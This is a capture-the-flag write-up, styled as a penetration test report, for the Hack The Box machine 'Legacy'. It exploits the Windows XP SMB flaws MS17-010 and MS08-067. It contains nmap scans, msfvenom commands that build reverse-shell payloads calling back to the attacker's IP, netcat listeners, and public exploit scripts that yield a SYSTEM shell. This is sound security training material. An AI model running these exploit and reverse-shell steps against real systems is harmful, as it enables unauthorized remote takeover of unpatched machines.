✅Legacy (Easy)
Lesson Learn
Report-Penetration
Vulnerable Exploit: CVE-2008-4250 (MS08-67) and CVE-2017-0143 (MS17-010)
System Vulnerable: 10.10.10.4
Vulnerability Explanation: This machine is vulnerable exploited Microsoft’s implementation of the Server Message Block (SMB) protocol, where if an attacker sent a specially crafted packet, the attacker would be allowed to execute arbitrary code on the target machine.
Privilege Escalation Vulnerability: N/A
Vulnerability Fix: Recommend to upgrade SMB version and always apply to patch.
Severity: Critical
Step to Compromise the Host:
Reconnaissance
We found that there are 2 service ports open:
Port 139: netbios-ssn
Port 445: microsoft-ds
└─$ nmap -p- -sC -sV -T4 10.10.10.4 -Pn
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 88.54% done; ETC: 23:45 (0:00:01 remaining)
Nmap scan report for 10.10.10.4
Host is up (0.045s latency).
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 11:51 EDT
Nmap scan report for 10.10.10.4
Host is up (0.048s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h57m38s, deviation: 1h24m50s, median: 4d23h57m38s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:56:1c (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2021-11-04T19:51:08+02:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)Enumeration
Let start enumerating on SMB Service to check if there is any vulnerable on this service. As we can see there is vulnerable to CVE-2008-4250 (MS08-67) and CVE-2017-0143 (MS17-010).
└─$ nmap -p445 --script vuln 10.10.10.4 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 23:47 EDT
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 48.93 secondsExploitation #1 (MS17-010)
This machine is vulnerable to Eternal Blue (MS17-010). This vulnerability exploited Microsoft’s implementation of the Server Message Block (SMB) protocol, where if an attacker sent a specially crafted packet, the attacker would be allowed to execute arbitrary code on the target machine.
We can download the exploit script from the github.
git clone https://github.com/helviojunior/MS17-010.gitNext, we generate our payload from msfvenom.
msfvenom -p windows/shell_reverse_tcp -f exe lhost=10.10.14.31 lport=4444 > rev.exeLet start our netcat listener on port 4444.
nc -lvp 4444Execute the payload from the folder we downloaded and point to reverse shell location.
python send_and_execute.py 10.10.10.4 ~/Desktop/HTB/legacy/rev.exe 
But unfortunately, we cannot figure out our privilege user on the machine as we could not execute command whoami or username.
We can set up our SMB server for share folder or transfer file to our victim machine. Let search for binary file whoami.exe on our machine.
locate whoami.exe
Let start SMB server to share folder of binaries files.
impacket-smbserver share /usr/share/windows-resources/binaries
Let connect to our share folder from remote machine. As we can see, we are AUTHORITY\SYSTEM.
Exploitation #2 (MS08-067)
The machine is vulnerable to MS08-067. The remote Windows host is affected by a remote code execution vulnerability in the 'Server' service due to improper handling of RPC requests. An unauthenticated, remote attacker can exploit this, via a specially crafted RPC request, to execute arbitrary code with 'System' privileges.
Proof of concept code: https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
By viewing the source code of exploit, we need to replace the shell code and as well as know the OS version.
Let generate new payload to replace the existing payload.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.31 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
To discover OS version, there is nmap script was include in the exploit code.
└─$ nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-31 02:34 EDT
Nmap scan report for 10.10.10.4
Host is up (0.042s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2021-11-05T10:32:16+02:00Let check the syntax and parameter which are require to start execute the exploit python code.
Let start the netcat listener on port 443 and execute the exploit code.
python ms08-067 10.10.10.4 6 445 
Last updated